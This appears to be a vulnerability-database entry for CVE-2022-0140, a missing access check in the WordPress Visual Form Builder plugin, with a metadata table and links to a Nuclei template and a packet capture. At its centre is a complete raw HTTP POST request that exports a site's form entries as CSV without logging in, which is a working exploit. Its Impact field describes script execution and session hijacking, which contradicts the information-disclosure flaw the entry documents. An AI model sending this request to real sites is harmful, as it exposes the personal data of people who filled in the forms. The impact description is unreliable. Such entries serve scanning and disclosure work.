| Title | WordPress Visual Form Builder <3.0.8 - Information Disclosure |
|---|---|
| Author | random-robbie |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Visual Form Builder plugin (3.0.8) or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.09629 |
| CVE ID | CVE-2022-0140 |
| CWE ID | CWE-306 |
| Tags | cve cve2022 wpscan disclosure wordpress vfbpro vuln |
WordPress Visual Form Builder plugin before 3.0.8 contains a information disclosure vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint.
POST /wp-admin/admin.php?page=vfb-export HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
Origin: /
Referer: //wp-admin/admin.php?page=vfb-export
Accept-Encoding: gzip
vfb-content=entries&format=csv&entries_form_id=1&entries_start_date=0&entries_end_date=0&submit=Download+Export+File
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0140.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0140.pcap
N/AN/A